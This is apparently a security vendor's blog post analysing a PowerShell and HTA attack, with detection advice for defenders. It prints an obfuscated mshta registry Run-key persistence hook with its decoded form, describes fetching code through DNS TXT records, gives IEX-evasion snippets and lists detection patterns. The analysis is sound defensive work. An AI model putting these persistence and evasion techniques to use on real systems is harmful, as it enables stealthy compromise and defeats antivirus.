PowerShell Injection with Diskless Payload Persistence and Bypass Techniques

PowerShell continues to be the tool of choice for defenders, IT administrators, and hackers. The extensibility, support, and ability to have a full-fledged programming language at your fingertips provides a whole new level of Microsoft’s operating system that was drastically missing in the past. We are huge advocates of PowerShell at Binary Defense, and it is our number one go to when it comes to performing everything from simplified administration, all the way to automation testing and complex programs. In addition, for legitimate use for defense and administration, many tools such as PowerShell Empire, PowerSploit, and more are used by the security research industry as well as hackers.

We commonly see several different attack vectors through PowerShell – as of last night, we identified through our managed endpoint detection, protection, and response platform called Vision, an attack that used a combination of methods to gain persistence and evade traditional anti-virus technology. The first method was the user visited a website that claimed to need to update their Adobe Flash browser plugin. This specific drive by is using an HTA attack method which called mshta.exe. MSHTA.exe is a legitimate Microsoft binary and can be called within any main browser. In most cases, they are not legitimate extensions and we recommend blocking all HTA extensions at the firewall. What HTA files allow you to do is call almost any command you want to and fully compromise the host itself.

This attack vector has been built into Unicorn and the Social-Engineer Toolkit (SET) for years.

In the above, a prompt to open occurs, and if the victim falls for the open prompt, they are compromised through whatever method they want. This could be a VBS downloader, PowerShell, a binary that gets downloaded and executed, and more. The sky is the limit as soon as they hit open. In most cases, we see customers who are attacked through a targeted spear-phishing campaigns and only one or two people in the company. We recently had a case where a customer was subject to a similar attack and used the HTA attack method as the initial stage and dropper.

The web page launched a malicious HTA – as soon as this HTA was opened, it immediately was detected by Vision:

As soon as that happened, a PowerShell command was executed – several alarms triggered on this specific attack. Most specifically was a SYSWOW64 downgrade attack. This attack vector is commonly used to downgrade the process to a 32-bit process for native shellcode injection. Unicorn/SET have used this method for years.

In our specific raw log we saw the common technique for Invoke-Expression (IEX) being used in order to pull from a specific registry key for persistence hooks. The variable names and persistence hooks were both obfuscated in the initial PowerShell call.

This is where it starts to get a bit nasty. In this specific attack, a registry entry was made under the user’s profile under CurrentVersion\Run which is a common persistence hook start location.

We also noticed through Vision the persistence hooks log:

Obfuscated Persistence Registry Hook:


HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run
"C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>"


De-Obfuscated Persistence Registry Hook:

<script>
WScript_Shell_Object = new ActiveXObject("WScript.Shell");
Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");
eval(Registry_Key_Value);
</script>


In this specific method, this is what we call a diskless attack vector (for payload delivery) as its not directly writing a specific payload to disk and relying solely on registry keys (which does touch disK) and the Run registry key to gain persistence footholds onto the system. In this case, mshta.exe was using WScript.shell to call a specific registry key with PowerShell commands embedded in it (which was a command and control beacon infrastructure natively though PowerShell). This method of diskless persistence did not get flagged by traditional anti-virus and is designed to evade most methods of detection. It should be noted that “diskless” is a broad term. In this attack vector, the diskless statement is referring to the payload itself. When making modifications to the registry and registry keys you are writing to disk and to the registry hive. In reference to this post, it’s a statement that this payload does not require a file for persistence or writing to disk for payload execution which is typically a file.

With using native PowerShell and mshta, the attackers could use the system without the need to download binaries or backdoor a system through traditional infection methods. In most cases, we see a few common ones such as Invoke-Expression (IEX), Execution Restriction Bypasses, and EncodedCommands as the main methods to get around traditional methods of execution restriction policies. In this case, Invoke Expression was used, but there are many different variations of these attacks that can be used that circumvent traditional detection capabilities.

Most recently, a security researcher, Vincent Yiu @vysecurity, demonstrated a method for bypassing traditional detection methods through PowerShell without calling IEX, EncodedCommand, etc. The method is brilliant and we have seen other iterations of this in the wild being actively used by more sophisticated attackers. It should be noted that in Mr. Yiu’s instance, he is calling calc.exe with the “.”. In this example you wouldn’t have the ability to call additional code without somehow using that as an assigned variable and calling it later or use another method to get the data in:

In this case, the TXT records for a website download the direct PowerShell commands and appropriately executes on the system through nslookup. This means that you can tuck code inside TXT records within DNS to gain code execution without actually launching it in the PowerShell command. Vision detects on a few different methods for abnormal patterns of behavior through PowerShell – one is if PowerShell exhibits beaconing out to the Internet regardless of command, it throws an alarm for suspicious process with network connections (amongst many other binaries that exhibit similar behavior):

If nslookup and extraction of code through nslookup is detected, Vision can also identify this as it occurs both on the behavior as well as nslookup used inside of PowerShell and pulling additional code inside of the txt record. Again, from Mr. Yiu – the “.” can only execute a file and not actually execute code itself. You will need another command in order to actually execute code extracted from the nslookup txt records, at least as far as we can tell.

Talking with Daniel Bohannon, you could possibly do this differently, but would still need IEX to still work:

Examples from Daniel below:

$nslookupResult1 = 'iex'
$nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'
. $nslookupResult1 $nslookupResult2

or even better:

$nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green')
. $nslookupAllInOne[0] $nslookupAllInOne[1]


Below is a specific pattern that was identified through Vision:

For companies that aren’t using the Binary Defense Vision Platform, there are ways to detect PowerShell abuse that don’t focus on specific patterns (such as IEX), but more so on unusual behavior. While basic pattern recognition is OK in some circumstances – abnormal behavior, such as PowerShell connecting out to the Internet as a basic example would be a pattern behavior vs. looking for a specific command (like IEX). There are also good practices to consider when trying to protect PowerShell from exploitation.

Examples of some good practices with PowerShell (and more):

• • PowerShell commands that are large in character length.
  • Placing PowerShell in Constrained Language Mode.
  • Enable Enhanced PowerShell Logging – such as script block logging (great reference: From Microsoft).
  • Perform Hunt Team Exercises to determine suspicious activity.

Baseline environment and look for deviations of patterns (such as PowerShell, CBD, regsvr32, etc. etc.) beaconing out to the Internet.

• Look for minesweeper.exe beaconing (that’s just a joke, but the NSA legit used this :P)
• Monitor for patterns such as IEX, EncodedCommand (and every other iteration –e, -ec, -en, enc, etc.) amongst others but recognize that this isn’t going to be a comprehensive detection method.
• Utilize tools such as Sysmon for greater logging capabilities and detection of process injection techniques that may be originating through suspicious processes including PowerShell.
• Review DNS logs for suspicious command length and length of DNS requests.
• Look for System.Management.Automation.dll and System.Management.Automation.ni.dll not originating from powershell.exe and powershell_ise.exe (usually used for using PowerShell but not calling PowerShell directly) – good example NPS from Ben0XA: NPS on GitHub.
• Lock down normal users from executing PowerShell if it is not needed (AppLocker + Device Guard can block regular users and allow admins/system to use PowerShell).
• Monitor child processes being spawned from powershell.exe and potential hooks that it may be performing to common persistence hooks locations.
• Look for powershell.exe (located in system32) spawning a child process of 32-bit PowerShell (located under SYSWOW64). Usually a good indication of shellcode injection techniques
• Follow Matthew Graeber on Twitter ?

As researchers, attackers, and the industry gets more advanced with PowerShell and evasion techniques, the traditional methods of detection through pattern recognition shouldn’t solely be relied upon for detecting malicious PowerShell. An example of mind blowing obfuscation is from Daniel Bohannon’s Invoke-Obfuscation and Invoke-CradleCrafter. These are a great tools and examples of how deep obfuscation can really go. Looking for strange patterns of behavior and detection in an enterprise can greatly reduce the ability to detect attacks in the early stages.

Source:https://www.binarydefense.com/powershell-injection-diskless-persistence-bypass-techniques/